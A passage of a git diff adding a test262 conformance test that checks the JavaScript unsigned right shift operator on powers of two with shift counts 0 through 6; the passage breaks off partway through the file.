+ $ERROR('#4: null >>> new Boolean(true) === 0. Actual: ' + (null >>> new Boolean(true)));
+}
+
diff --git a/js/src/tests/test262/ch11/11.7/11.7.3/S11.7.3_A4_T1.js b/js/src/tests/test262/ch11/11.7/11.7.3/S11.7.3_A4_T1.js
new file mode 100644
index 000000000..c05ddc4e5
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.7/11.7.3/S11.7.3_A4_T1.js
@@ -0,0 +1,2571 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check operator x >>> y in distinct points
+ *
+ * @path ch11/11.7/11.7.3/S11.7.3_A4_T1.js
+ * @description ShiftExpression = 2^n, n = 0...15
+ */
+
+//CHECK
+
+if (1 >>> 0 !== 1) {
+ $ERROR('#1: 1 >>> 0 === 1. Actual: ' + (1 >>> 0));
+}
+
+
+if (2 >>> 0 !== 2) {
+ $ERROR('#2: 2 >>> 0 === 2. Actual: ' + (2 >>> 0));
+}
+
+
+if (4 >>> 0 !== 4) {
+ $ERROR('#3: 4 >>> 0 === 4. Actual: ' + (4 >>> 0));
+}
+
+
+if (8 >>> 0 !== 8) {
+ $ERROR('#4: 8 >>> 0 === 8. Actual: ' + (8 >>> 0));
+}
+
+
+if (16 >>> 0 !== 16) {
+ $ERROR('#5: 16 >>> 0 === 16. Actual: ' + (16 >>> 0));
+}
+
+
+if (32 >>> 0 !== 32) {
+ $ERROR('#6: 32 >>> 0 === 32. Actual: ' + (32 >>> 0));
+}
+
+
+if (64 >>> 0 !== 64) {
+ $ERROR('#7: 64 >>> 0 === 64. Actual: ' + (64 >>> 0));
+}
+
+
+if (128 >>> 0 !== 128) {
+ $ERROR('#8: 128 >>> 0 === 128. Actual: ' + (128 >>> 0));
+}
+
+
+if (256 >>> 0 !== 256) {
+ $ERROR('#9: 256 >>> 0 === 256. Actual: ' + (256 >>> 0));
+}
+
+
+if (512 >>> 0 !== 512) {
+ $ERROR('#10: 512 >>> 0 === 512. Actual: ' + (512 >>> 0));
+}
+
+
+if (1024 >>> 0 !== 1024) {
+ $ERROR('#11: 1024 >>> 0 === 1024. Actual: ' + (1024 >>> 0));
+}
+
+
+if (2048 >>> 0 !== 2048) {
+ $ERROR('#12: 2048 >>> 0 === 2048. Actual: ' + (2048 >>> 0));
+}
+
+
+if (4096 >>> 0 !== 4096) {
+ $ERROR('#13: 4096 >>> 0 === 4096. Actual: ' + (4096 >>> 0));
+}
+
+
+if (8192 >>> 0 !== 8192) {
+ $ERROR('#14: 8192 >>> 0 === 8192. Actual: ' + (8192 >>> 0));
+}
+
+
+if (16384 >>> 0 !== 16384) {
+ $ERROR('#15: 16384 >>> 0 === 16384. Actual: ' + (16384 >>> 0));
+}
+
+
+if (32768 >>> 0 !== 32768) {
+ $ERROR('#16: 32768 >>> 0 === 32768. Actual: ' + (32768 >>> 0));
+}
+
+
+if (65536 >>> 0 !== 65536) {
+ $ERROR('#17: 65536 >>> 0 === 65536. Actual: ' + (65536 >>> 0));
+}
+
+
+if (131072 >>> 0 !== 131072) {
+ $ERROR('#18: 131072 >>> 0 === 131072. Actual: ' + (131072 >>> 0));
+}
+
+
+if (262144 >>> 0 !== 262144) {
+ $ERROR('#19: 262144 >>> 0 === 262144. Actual: ' + (262144 >>> 0));
+}
+
+
+if (524288 >>> 0 !== 524288) {
+ $ERROR('#20: 524288 >>> 0 === 524288. Actual: ' + (524288 >>> 0));
+}
+
+
+if (1048576 >>> 0 !== 1048576) {
+ $ERROR('#21: 1048576 >>> 0 === 1048576. Actual: ' + (1048576 >>> 0));
+}
+
+
+if (2097152 >>> 0 !== 2097152) {
+ $ERROR('#22: 2097152 >>> 0 === 2097152. Actual: ' + (2097152 >>> 0));
+}
+
+
+if (4194304 >>> 0 !== 4194304) {
+ $ERROR('#23: 4194304 >>> 0 === 4194304. Actual: ' + (4194304 >>> 0));
+}
+
+
+if (8388608 >>> 0 !== 8388608) {
+ $ERROR('#24: 8388608 >>> 0 === 8388608. Actual: ' + (8388608 >>> 0));
+}
+
+
+if (16777216 >>> 0 !== 16777216) {
+ $ERROR('#25: 16777216 >>> 0 === 16777216. Actual: ' + (16777216 >>> 0));
+}
+
+
+if (33554432 >>> 0 !== 33554432) {
+ $ERROR('#26: 33554432 >>> 0 === 33554432. Actual: ' + (33554432 >>> 0));
+}
+
+
+if (67108864 >>> 0 !== 67108864) {
+ $ERROR('#27: 67108864 >>> 0 === 67108864. Actual: ' + (67108864 >>> 0));
+}
+
+
+if (134217728 >>> 0 !== 134217728) {
+ $ERROR('#28: 134217728 >>> 0 === 134217728. Actual: ' + (134217728 >>> 0));
+}
+
+
+if (268435456 >>> 0 !== 268435456) {
+ $ERROR('#29: 268435456 >>> 0 === 268435456. Actual: ' + (268435456 >>> 0));
+}
+
+
+if (536870912 >>> 0 !== 536870912) {
+ $ERROR('#30: 536870912 >>> 0 === 536870912. Actual: ' + (536870912 >>> 0));
+}
+
+
+if (1073741824 >>> 0 !== 1073741824) {
+ $ERROR('#31: 1073741824 >>> 0 === 1073741824. Actual: ' + (1073741824 >>> 0));
+}
+
+
+if (2147483648 >>> 0 !== 2147483648) {
+ $ERROR('#32: 2147483648 >>> 0 === 2147483648. Actual: ' + (2147483648 >>> 0));
+}
+
+
+if (1 >>> 1 !== 0) {
+ $ERROR('#33: 1 >>> 1 === 0. Actual: ' + (1 >>> 1));
+}
+
+
+if (2 >>> 1 !== 1) {
+ $ERROR('#34: 2 >>> 1 === 1. Actual: ' + (2 >>> 1));
+}
+
+
+if (4 >>> 1 !== 2) {
+ $ERROR('#35: 4 >>> 1 === 2. Actual: ' + (4 >>> 1));
+}
+
+
+if (8 >>> 1 !== 4) {
+ $ERROR('#36: 8 >>> 1 === 4. Actual: ' + (8 >>> 1));
+}
+
+
+if (16 >>> 1 !== 8) {
+ $ERROR('#37: 16 >>> 1 === 8. Actual: ' + (16 >>> 1));
+}
+
+
+if (32 >>> 1 !== 16) {
+ $ERROR('#38: 32 >>> 1 === 16. Actual: ' + (32 >>> 1));
+}
+
+
+if (64 >>> 1 !== 32) {
+ $ERROR('#39: 64 >>> 1 === 32. Actual: ' + (64 >>> 1));
+}
+
+
+if (128 >>> 1 !== 64) {
+ $ERROR('#40: 128 >>> 1 === 64. Actual: ' + (128 >>> 1));
+}
+
+
+if (256 >>> 1 !== 128) {
+ $ERROR('#41: 256 >>> 1 === 128. Actual: ' + (256 >>> 1));
+}
+
+
+if (512 >>> 1 !== 256) {
+ $ERROR('#42: 512 >>> 1 === 256. Actual: ' + (512 >>> 1));
+}
+
+
+if (1024 >>> 1 !== 512) {
+ $ERROR('#43: 1024 >>> 1 === 512. Actual: ' + (1024 >>> 1));
+}
+
+
+if (2048 >>> 1 !== 1024) {
+ $ERROR('#44: 2048 >>> 1 === 1024. Actual: ' + (2048 >>> 1));
+}
+
+
+if (4096 >>> 1 !== 2048) {
+ $ERROR('#45: 4096 >>> 1 === 2048. Actual: ' + (4096 >>> 1));
+}
+
+
+if (8192 >>> 1 !== 4096) {
+ $ERROR('#46: 8192 >>> 1 === 4096. Actual: ' + (8192 >>> 1));
+}
+
+
+if (16384 >>> 1 !== 8192) {
+ $ERROR('#47: 16384 >>> 1 === 8192. Actual: ' + (16384 >>> 1));
+}
+
+
+if (32768 >>> 1 !== 16384) {
+ $ERROR('#48: 32768 >>> 1 === 16384. Actual: ' + (32768 >>> 1));
+}
+
+
+if (65536 >>> 1 !== 32768) {
+ $ERROR('#49: 65536 >>> 1 === 32768. Actual: ' + (65536 >>> 1));
+}
+
+
+if (131072 >>> 1 !== 65536) {
+ $ERROR('#50: 131072 >>> 1 === 65536. Actual: ' + (131072 >>> 1));
+}
+
+
+if (262144 >>> 1 !== 131072) {
+ $ERROR('#51: 262144 >>> 1 === 131072. Actual: ' + (262144 >>> 1));
+}
+
+
+if (524288 >>> 1 !== 262144) {
+ $ERROR('#52: 524288 >>> 1 === 262144. Actual: ' + (524288 >>> 1));
+}
+
+
+if (1048576 >>> 1 !== 524288) {
+ $ERROR('#53: 1048576 >>> 1 === 524288. Actual: ' + (1048576 >>> 1));
+}
+
+
+if (2097152 >>> 1 !== 1048576) {
+ $ERROR('#54: 2097152 >>> 1 === 1048576. Actual: ' + (2097152 >>> 1));
+}
+
+
+if (4194304 >>> 1 !== 2097152) {
+ $ERROR('#55: 4194304 >>> 1 === 2097152. Actual: ' + (4194304 >>> 1));
+}
+
+
+if (8388608 >>> 1 !== 4194304) {
+ $ERROR('#56: 8388608 >>> 1 === 4194304. Actual: ' + (8388608 >>> 1));
+}
+
+
+if (16777216 >>> 1 !== 8388608) {
+ $ERROR('#57: 16777216 >>> 1 === 8388608. Actual: ' + (16777216 >>> 1));
+}
+
+
+if (33554432 >>> 1 !== 16777216) {
+ $ERROR('#58: 33554432 >>> 1 === 16777216. Actual: ' + (33554432 >>> 1));
+}
+
+
+if (67108864 >>> 1 !== 33554432) {
+ $ERROR('#59: 67108864 >>> 1 === 33554432. Actual: ' + (67108864 >>> 1));
+}
+
+
+if (134217728 >>> 1 !== 67108864) {
+ $ERROR('#60: 134217728 >>> 1 === 67108864. Actual: ' + (134217728 >>> 1));
+}
+
+
+if (268435456 >>> 1 !== 134217728) {
+ $ERROR('#61: 268435456 >>> 1 === 134217728. Actual: ' + (268435456 >>> 1));
+}
+
+
+if (536870912 >>> 1 !== 268435456) {
+ $ERROR('#62: 536870912 >>> 1 === 268435456. Actual: ' + (536870912 >>> 1));
+}
+
+
+if (1073741824 >>> 1 !== 536870912) {
+ $ERROR('#63: 1073741824 >>> 1 === 536870912. Actual: ' + (1073741824 >>> 1));
+}
+
+
+if (2147483648 >>> 1 !== 1073741824) {
+ $ERROR('#64: 2147483648 >>> 1 === 1073741824. Actual: ' + (2147483648 >>> 1));
+}
+
+
+if (1 >>> 2 !== 0) {
+ $ERROR('#65: 1 >>> 2 === 0. Actual: ' + (1 >>> 2));
+}
+
+
+if (2 >>> 2 !== 0) {
+ $ERROR('#66: 2 >>> 2 === 0. Actual: ' + (2 >>> 2));
+}
+
+
+if (4 >>> 2 !== 1) {
+ $ERROR('#67: 4 >>> 2 === 1. Actual: ' + (4 >>> 2));
+}
+
+
+if (8 >>> 2 !== 2) {
+ $ERROR('#68: 8 >>> 2 === 2. Actual: ' + (8 >>> 2));
+}
+
+
+if (16 >>> 2 !== 4) {
+ $ERROR('#69: 16 >>> 2 === 4. Actual: ' + (16 >>> 2));
+}
+
+
+if (32 >>> 2 !== 8) {
+ $ERROR('#70: 32 >>> 2 === 8. Actual: ' + (32 >>> 2));
+}
+
+
+if (64 >>> 2 !== 16) {
+ $ERROR('#71: 64 >>> 2 === 16. Actual: ' + (64 >>> 2));
+}
+
+
+if (128 >>> 2 !== 32) {
+ $ERROR('#72: 128 >>> 2 === 32. Actual: ' + (128 >>> 2));
+}
+
+
+if (256 >>> 2 !== 64) {
+ $ERROR('#73: 256 >>> 2 === 64. Actual: ' + (256 >>> 2));
+}
+
+
+if (512 >>> 2 !== 128) {
+ $ERROR('#74: 512 >>> 2 === 128. Actual: ' + (512 >>> 2));
+}
+
+
+if (1024 >>> 2 !== 256) {
+ $ERROR('#75: 1024 >>> 2 === 256. Actual: ' + (1024 >>> 2));
+}
+
+
+if (2048 >>> 2 !== 512) {
+ $ERROR('#76: 2048 >>> 2 === 512. Actual: ' + (2048 >>> 2));
+}
+
+
+if (4096 >>> 2 !== 1024) {
+ $ERROR('#77: 4096 >>> 2 === 1024. Actual: ' + (4096 >>> 2));
+}
+
+
+if (8192 >>> 2 !== 2048) {
+ $ERROR('#78: 8192 >>> 2 === 2048. Actual: ' + (8192 >>> 2));
+}
+
+
+if (16384 >>> 2 !== 4096) {
+ $ERROR('#79: 16384 >>> 2 === 4096. Actual: ' + (16384 >>> 2));
+}
+
+
+if (32768 >>> 2 !== 8192) {
+ $ERROR('#80: 32768 >>> 2 === 8192. Actual: ' + (32768 >>> 2));
+}
+
+
+if (65536 >>> 2 !== 16384) {
+ $ERROR('#81: 65536 >>> 2 === 16384. Actual: ' + (65536 >>> 2));
+}
+
+
+if (131072 >>> 2 !== 32768) {
+ $ERROR('#82: 131072 >>> 2 === 32768. Actual: ' + (131072 >>> 2));
+}
+
+
+if (262144 >>> 2 !== 65536) {
+ $ERROR('#83: 262144 >>> 2 === 65536. Actual: ' + (262144 >>> 2));
+}
+
+
+if (524288 >>> 2 !== 131072) {
+ $ERROR('#84: 524288 >>> 2 === 131072. Actual: ' + (524288 >>> 2));
+}
+
+
+if (1048576 >>> 2 !== 262144) {
+ $ERROR('#85: 1048576 >>> 2 === 262144. Actual: ' + (1048576 >>> 2));
+}
+
+
+if (2097152 >>> 2 !== 524288) {
+ $ERROR('#86: 2097152 >>> 2 === 524288. Actual: ' + (2097152 >>> 2));
+}
+
+
+if (4194304 >>> 2 !== 1048576) {
+ $ERROR('#87: 4194304 >>> 2 === 1048576. Actual: ' + (4194304 >>> 2));
+}
+
+
+if (8388608 >>> 2 !== 2097152) {
+ $ERROR('#88: 8388608 >>> 2 === 2097152. Actual: ' + (8388608 >>> 2));
+}
+
+
+if (16777216 >>> 2 !== 4194304) {
+ $ERROR('#89: 16777216 >>> 2 === 4194304. Actual: ' + (16777216 >>> 2));
+}
+
+
+if (33554432 >>> 2 !== 8388608) {
+ $ERROR('#90: 33554432 >>> 2 === 8388608. Actual: ' + (33554432 >>> 2));
+}
+
+
+if (67108864 >>> 2 !== 16777216) {
+ $ERROR('#91: 67108864 >>> 2 === 16777216. Actual: ' + (67108864 >>> 2));
+}
+
+
+if (134217728 >>> 2 !== 33554432) {
+ $ERROR('#92: 134217728 >>> 2 === 33554432. Actual: ' + (134217728 >>> 2));
+}
+
+
+if (268435456 >>> 2 !== 67108864) {
+ $ERROR('#93: 268435456 >>> 2 === 67108864. Actual: ' + (268435456 >>> 2));
+}
+
+
+if (536870912 >>> 2 !== 134217728) {
+ $ERROR('#94: 536870912 >>> 2 === 134217728. Actual: ' + (536870912 >>> 2));
+}
+
+
+if (1073741824 >>> 2 !== 268435456) {
+ $ERROR('#95: 1073741824 >>> 2 === 268435456. Actual: ' + (1073741824 >>> 2));
+}
+
+
+if (2147483648 >>> 2 !== 536870912) {
+ $ERROR('#96: 2147483648 >>> 2 === 536870912. Actual: ' + (2147483648 >>> 2));
+}
+
+
+if (1 >>> 3 !== 0) {
+ $ERROR('#97: 1 >>> 3 === 0. Actual: ' + (1 >>> 3));
+}
+
+
+if (2 >>> 3 !== 0) {
+ $ERROR('#98: 2 >>> 3 === 0. Actual: ' + (2 >>> 3));
+}
+
+
+if (4 >>> 3 !== 0) {
+ $ERROR('#99: 4 >>> 3 === 0. Actual: ' + (4 >>> 3));
+}
+
+
+if (8 >>> 3 !== 1) {
+ $ERROR('#100: 8 >>> 3 === 1. Actual: ' + (8 >>> 3));
+}
+
+
+if (16 >>> 3 !== 2) {
+ $ERROR('#101: 16 >>> 3 === 2. Actual: ' + (16 >>> 3));
+}
+
+
+if (32 >>> 3 !== 4) {
+ $ERROR('#102: 32 >>> 3 === 4. Actual: ' + (32 >>> 3));
+}
+
+
+if (64 >>> 3 !== 8) {
+ $ERROR('#103: 64 >>> 3 === 8. Actual: ' + (64 >>> 3));
+}
+
+
+if (128 >>> 3 !== 16) {
+ $ERROR('#104: 128 >>> 3 === 16. Actual: ' + (128 >>> 3));
+}
+
+
+if (256 >>> 3 !== 32) {
+ $ERROR('#105: 256 >>> 3 === 32. Actual: ' + (256 >>> 3));
+}
+
+
+if (512 >>> 3 !== 64) {
+ $ERROR('#106: 512 >>> 3 === 64. Actual: ' + (512 >>> 3));
+}
+
+
+if (1024 >>> 3 !== 128) {
+ $ERROR('#107: 1024 >>> 3 === 128. Actual: ' + (1024 >>> 3));
+}
+
+
+if (2048 >>> 3 !== 256) {
+ $ERROR('#108: 2048 >>> 3 === 256. Actual: ' + (2048 >>> 3));
+}
+
+
+if (4096 >>> 3 !== 512) {
+ $ERROR('#109: 4096 >>> 3 === 512. Actual: ' + (4096 >>> 3));
+}
+
+
+if (8192 >>> 3 !== 1024) {
+ $ERROR('#110: 8192 >>> 3 === 1024. Actual: ' + (8192 >>> 3));
+}
+
+
+if (16384 >>> 3 !== 2048) {
+ $ERROR('#111: 16384 >>> 3 === 2048. Actual: ' + (16384 >>> 3));
+}
+
+
+if (32768 >>> 3 !== 4096) {
+ $ERROR('#112: 32768 >>> 3 === 4096. Actual: ' + (32768 >>> 3));
+}
+
+
+if (65536 >>> 3 !== 8192) {
+ $ERROR('#113: 65536 >>> 3 === 8192. Actual: ' + (65536 >>> 3));
+}
+
+
+if (131072 >>> 3 !== 16384) {
+ $ERROR('#114: 131072 >>> 3 === 16384. Actual: ' + (131072 >>> 3));
+}
+
+
+if (262144 >>> 3 !== 32768) {
+ $ERROR('#115: 262144 >>> 3 === 32768. Actual: ' + (262144 >>> 3));
+}
+
+
+if (524288 >>> 3 !== 65536) {
+ $ERROR('#116: 524288 >>> 3 === 65536. Actual: ' + (524288 >>> 3));
+}
+
+
+if (1048576 >>> 3 !== 131072) {
+ $ERROR('#117: 1048576 >>> 3 === 131072. Actual: ' + (1048576 >>> 3));
+}
+
+
+if (2097152 >>> 3 !== 262144) {
+ $ERROR('#118: 2097152 >>> 3 === 262144. Actual: ' + (2097152 >>> 3));
+}
+
+
+if (4194304 >>> 3 !== 524288) {
+ $ERROR('#119: 4194304 >>> 3 === 524288. Actual: ' + (4194304 >>> 3));
+}
+
+
+if (8388608 >>> 3 !== 1048576) {
+ $ERROR('#120: 8388608 >>> 3 === 1048576. Actual: ' + (8388608 >>> 3));
+}
+
+
+if (16777216 >>> 3 !== 2097152) {
+ $ERROR('#121: 16777216 >>> 3 === 2097152. Actual: ' + (16777216 >>> 3));
+}
+
+
+if (33554432 >>> 3 !== 4194304) {
+ $ERROR('#122: 33554432 >>> 3 === 4194304. Actual: ' + (33554432 >>> 3));
+}
+
+
+if (67108864 >>> 3 !== 8388608) {
+ $ERROR('#123: 67108864 >>> 3 === 8388608. Actual: ' + (67108864 >>> 3));
+}
+
+
+if (134217728 >>> 3 !== 16777216) {
+ $ERROR('#124: 134217728 >>> 3 === 16777216. Actual: ' + (134217728 >>> 3));
+}
+
+
+if (268435456 >>> 3 !== 33554432) {
+ $ERROR('#125: 268435456 >>> 3 === 33554432. Actual: ' + (268435456 >>> 3));
+}
+
+
+if (536870912 >>> 3 !== 67108864) {
+ $ERROR('#126: 536870912 >>> 3 === 67108864. Actual: ' + (536870912 >>> 3));
+}
+
+
+if (1073741824 >>> 3 !== 134217728) {
+ $ERROR('#127: 1073741824 >>> 3 === 134217728. Actual: ' + (1073741824 >>> 3));
+}
+
+
+if (2147483648 >>> 3 !== 268435456) {
+ $ERROR('#128: 2147483648 >>> 3 === 268435456. Actual: ' + (2147483648 >>> 3));
+}
+
+
+if (1 >>> 4 !== 0) {
+ $ERROR('#129: 1 >>> 4 === 0. Actual: ' + (1 >>> 4));
+}
+
+
+if (2 >>> 4 !== 0) {
+ $ERROR('#130: 2 >>> 4 === 0. Actual: ' + (2 >>> 4));
+}
+
+
+if (4 >>> 4 !== 0) {
+ $ERROR('#131: 4 >>> 4 === 0. Actual: ' + (4 >>> 4));
+}
+
+
+if (8 >>> 4 !== 0) {
+ $ERROR('#132: 8 >>> 4 === 0. Actual: ' + (8 >>> 4));
+}
+
+
+if (16 >>> 4 !== 1) {
+ $ERROR('#133: 16 >>> 4 === 1. Actual: ' + (16 >>> 4));
+}
+
+
+if (32 >>> 4 !== 2) {
+ $ERROR('#134: 32 >>> 4 === 2. Actual: ' + (32 >>> 4));
+}
+
+
+if (64 >>> 4 !== 4) {
+ $ERROR('#135: 64 >>> 4 === 4. Actual: ' + (64 >>> 4));
+}
+
+
+if (128 >>> 4 !== 8) {
+ $ERROR('#136: 128 >>> 4 === 8. Actual: ' + (128 >>> 4));
+}
+
+
+if (256 >>> 4 !== 16) {
+ $ERROR('#137: 256 >>> 4 === 16. Actual: ' + (256 >>> 4));
+}
+
+
+if (512 >>> 4 !== 32) {
+ $ERROR('#138: 512 >>> 4 === 32. Actual: ' + (512 >>> 4));
+}
+
+
+if (1024 >>> 4 !== 64) {
+ $ERROR('#139: 1024 >>> 4 === 64. Actual: ' + (1024 >>> 4));
+}
+
+
+if (2048 >>> 4 !== 128) {
+ $ERROR('#140: 2048 >>> 4 === 128. Actual: ' + (2048 >>> 4));
+}
+
+
+if (4096 >>> 4 !== 256) {
+ $ERROR('#141: 4096 >>> 4 === 256. Actual: ' + (4096 >>> 4));
+}
+
+
+if (8192 >>> 4 !== 512) {
+ $ERROR('#142: 8192 >>> 4 === 512. Actual: ' + (8192 >>> 4));
+}
+
+
+if (16384 >>> 4 !== 1024) {
+ $ERROR('#143: 16384 >>> 4 === 1024. Actual: ' + (16384 >>> 4));
+}
+
+
+if (32768 >>> 4 !== 2048) {
+ $ERROR('#144: 32768 >>> 4 === 2048. Actual: ' + (32768 >>> 4));
+}
+
+
+if (65536 >>> 4 !== 4096) {
+ $ERROR('#145: 65536 >>> 4 === 4096. Actual: ' + (65536 >>> 4));
+}
+
+
+if (131072 >>> 4 !== 8192) {
+ $ERROR('#146: 131072 >>> 4 === 8192. Actual: ' + (131072 >>> 4));
+}
+
+
+if (262144 >>> 4 !== 16384) {
+ $ERROR('#147: 262144 >>> 4 === 16384. Actual: ' + (262144 >>> 4));
+}
+
+
+if (524288 >>> 4 !== 32768) {
+ $ERROR('#148: 524288 >>> 4 === 32768. Actual: ' + (524288 >>> 4));
+}
+
+
+if (1048576 >>> 4 !== 65536) {
+ $ERROR('#149: 1048576 >>> 4 === 65536. Actual: ' + (1048576 >>> 4));
+}
+
+
+if (2097152 >>> 4 !== 131072) {
+ $ERROR('#150: 2097152 >>> 4 === 131072. Actual: ' + (2097152 >>> 4));
+}
+
+
+if (4194304 >>> 4 !== 262144) {
+ $ERROR('#151: 4194304 >>> 4 === 262144. Actual: ' + (4194304 >>> 4));
+}
+
+
+if (8388608 >>> 4 !== 524288) {
+ $ERROR('#152: 8388608 >>> 4 === 524288. Actual: ' + (8388608 >>> 4));
+}
+
+
+if (16777216 >>> 4 !== 1048576) {
+ $ERROR('#153: 16777216 >>> 4 === 1048576. Actual: ' + (16777216 >>> 4));
+}
+
+
+if (33554432 >>> 4 !== 2097152) {
+ $ERROR('#154: 33554432 >>> 4 === 2097152. Actual: ' + (33554432 >>> 4));
+}
+
+
+if (67108864 >>> 4 !== 4194304) {
+ $ERROR('#155: 67108864 >>> 4 === 4194304. Actual: ' + (67108864 >>> 4));
+}
+
+
+if (134217728 >>> 4 !== 8388608) {
+ $ERROR('#156: 134217728 >>> 4 === 8388608. Actual: ' + (134217728 >>> 4));
+}
+
+
+if (268435456 >>> 4 !== 16777216) {
+ $ERROR('#157: 268435456 >>> 4 === 16777216. Actual: ' + (268435456 >>> 4));
+}
+
+
+if (536870912 >>> 4 !== 33554432) {
+ $ERROR('#158: 536870912 >>> 4 === 33554432. Actual: ' + (536870912 >>> 4));
+}
+
+
+if (1073741824 >>> 4 !== 67108864) {
+ $ERROR('#159: 1073741824 >>> 4 === 67108864. Actual: ' + (1073741824 >>> 4));
+}
+
+
+if (2147483648 >>> 4 !== 134217728) {
+ $ERROR('#160: 2147483648 >>> 4 === 134217728. Actual: ' + (2147483648 >>> 4));
+}
+
+
+if (1 >>> 5 !== 0) {
+ $ERROR('#161: 1 >>> 5 === 0. Actual: ' + (1 >>> 5));
+}
+
+
+if (2 >>> 5 !== 0) {
+ $ERROR('#162: 2 >>> 5 === 0. Actual: ' + (2 >>> 5));
+}
+
+
+if (4 >>> 5 !== 0) {
+ $ERROR('#163: 4 >>> 5 === 0. Actual: ' + (4 >>> 5));
+}
+
+
+if (8 >>> 5 !== 0) {
+ $ERROR('#164: 8 >>> 5 === 0. Actual: ' + (8 >>> 5));
+}
+
+
+if (16 >>> 5 !== 0) {
+ $ERROR('#165: 16 >>> 5 === 0. Actual: ' + (16 >>> 5));
+}
+
+
+if (32 >>> 5 !== 1) {
+ $ERROR('#166: 32 >>> 5 === 1. Actual: ' + (32 >>> 5));
+}
+
+
+if (64 >>> 5 !== 2) {
+ $ERROR('#167: 64 >>> 5 === 2. Actual: ' + (64 >>> 5));
+}
+
+
+if (128 >>> 5 !== 4) {
+ $ERROR('#168: 128 >>> 5 === 4. Actual: ' + (128 >>> 5));
+}
+
+
+if (256 >>> 5 !== 8) {
+ $ERROR('#169: 256 >>> 5 === 8. Actual: ' + (256 >>> 5));
+}
+
+
+if (512 >>> 5 !== 16) {
+ $ERROR('#170: 512 >>> 5 === 16. Actual: ' + (512 >>> 5));
+}
+
+
+if (1024 >>> 5 !== 32) {
+ $ERROR('#171: 1024 >>> 5 === 32. Actual: ' + (1024 >>> 5));
+}
+
+
+if (2048 >>> 5 !== 64) {
+ $ERROR('#172: 2048 >>> 5 === 64. Actual: ' + (2048 >>> 5));
+}
+
+
+if (4096 >>> 5 !== 128) {
+ $ERROR('#173: 4096 >>> 5 === 128. Actual: ' + (4096 >>> 5));
+}
+
+
+if (8192 >>> 5 !== 256) {
+ $ERROR('#174: 8192 >>> 5 === 256. Actual: ' + (8192 >>> 5));
+}
+
+
+if (16384 >>> 5 !== 512) {
+ $ERROR('#175: 16384 >>> 5 === 512. Actual: ' + (16384 >>> 5));
+}
+
+
+if (32768 >>> 5 !== 1024) {
+ $ERROR('#176: 32768 >>> 5 === 1024. Actual: ' + (32768 >>> 5));
+}
+
+
+if (65536 >>> 5 !== 2048) {
+ $ERROR('#177: 65536 >>> 5 === 2048. Actual: ' + (65536 >>> 5));
+}
+
+
+if (131072 >>> 5 !== 4096) {
+ $ERROR('#178: 131072 >>> 5 === 4096. Actual: ' + (131072 >>> 5));
+}
+
+
+if (262144 >>> 5 !== 8192) {
+ $ERROR('#179: 262144 >>> 5 === 8192. Actual: ' + (262144 >>> 5));
+}
+
+
+if (524288 >>> 5 !== 16384) {
+ $ERROR('#180: 524288 >>> 5 === 16384. Actual: ' + (524288 >>> 5));
+}
+
+
+if (1048576 >>> 5 !== 32768) {
+ $ERROR('#181: 1048576 >>> 5 === 32768. Actual: ' + (1048576 >>> 5));
+}
+
+
+if (2097152 >>> 5 !== 65536) {
+ $ERROR('#182: 2097152 >>> 5 === 65536. Actual: ' + (2097152 >>> 5));
+}
+
+
+if (4194304 >>> 5 !== 131072) {
+ $ERROR('#183: 4194304 >>> 5 === 131072. Actual: ' + (4194304 >>> 5));
+}
+
+
+if (8388608 >>> 5 !== 262144) {
+ $ERROR('#184: 8388608 >>> 5 === 262144. Actual: ' + (8388608 >>> 5));
+}
+
+
+if (16777216 >>> 5 !== 524288) {
+ $ERROR('#185: 16777216 >>> 5 === 524288. Actual: ' + (16777216 >>> 5));
+}
+
+
+if (33554432 >>> 5 !== 1048576) {
+ $ERROR('#186: 33554432 >>> 5 === 1048576. Actual: ' + (33554432 >>> 5));
+}
+
+
+if (67108864 >>> 5 !== 2097152) {
+ $ERROR('#187: 67108864 >>> 5 === 2097152. Actual: ' + (67108864 >>> 5));
+}
+
+
+if (134217728 >>> 5 !== 4194304) {
+ $ERROR('#188: 134217728 >>> 5 === 4194304. Actual: ' + (134217728 >>> 5));
+}
+
+
+if (268435456 >>> 5 !== 8388608) {
+ $ERROR('#189: 268435456 >>> 5 === 8388608. Actual: ' + (268435456 >>> 5));
+}
+
+
+if (536870912 >>> 5 !== 16777216) {
+ $ERROR('#190: 536870912 >>> 5 === 16777216. Actual: ' + (536870912 >>> 5));
+}
+
+
+if (1073741824 >>> 5 !== 33554432) {
+ $ERROR('#191: 1073741824 >>> 5 === 33554432. Actual: ' + (1073741824 >>> 5));
+}
+
+
+if (2147483648 >>> 5 !== 67108864) {
+ $ERROR('#192: 2147483648 >>> 5 === 67108864. Actual: ' + (2147483648 >>> 5));
+}
+
+
+if (1 >>> 6 !== 0) {
+ $ERROR('#193: 1 >>> 6 === 0. Actual: ' + (1 >>> 6));
+}
+
+
+if (2 >>> 6 !== 0) {
+ $ERROR('#194: 2 >>> 6 === 0. Actual: ' + (2 >>> 6));
+}
+
+
+if (4 >>> 6 !== 0) {
+ $ERROR('#195: 4 >>> 6 === 0. Actual: ' + (4 >>> 6));
+}
+
+
+if (8 >>> 6 !== 0) {
+ $ERROR('#196: 8 >>> 6 === 0. Actual: ' + (8 >>> 6));
+}
+
+
+if (16 >>> 6 !== 0) {
+ $ERROR('#197: 16 >>> 6 === 0. Actual: ' + (16 >>> 6));
+}
+
+
+if (32 >>> 6 !== 0) {
+ $ERROR('#198: 32 >>> 6 === 0. Actual: ' + (32 >>> 6));
+}
+
+
+if (64 >>> 6 !== 1) {
+ $ERROR('#199: 64 >>> 6 === 1. Actual: ' + (64 >>> 6));
+}
+
+
+if (128 >>> 6 !== 2) {
+ $ERROR('#200: 128 >>> 6 === 2. Actual: ' + (128 >>> 6));
+}
+
+
+if (256 >>> 6 !== 4) {
+ $ERROR('#201: 256 >>> 6 === 4. Actual: ' + (256 >>> 6));
+}
+
+
+if (512 >>> 6 !== 8) {
+ $ERROR('#202: 512 >>> 6 === 8. Actual: ' + (512 >>> 6));
+}
+
+
+if (1024 >>> 6 !== 16) {
+ $ERROR('#203: 1024 >>> 6 === 16. Actual: ' + (1024 >>> 6));
+}
+
+
+if (2048 >>> 6 !== 32) {
+ $ERROR('#204: 2048 >>> 6 === 32. Actual: ' + (2048 >>> 6));
+}
+
+
+if (4096 >>> 6 !== 64) {
+ $ERROR('#205: 4096 >>> 6 === 64. Actual: ' + (4096 >>> 6));
+}
+
+
+if (8192 >>> 6 !== 128) {
+ $ERROR('#206: 8192 >>> 6 === 128. Actual: ' + (8192 >>> 6));
+}
+
+
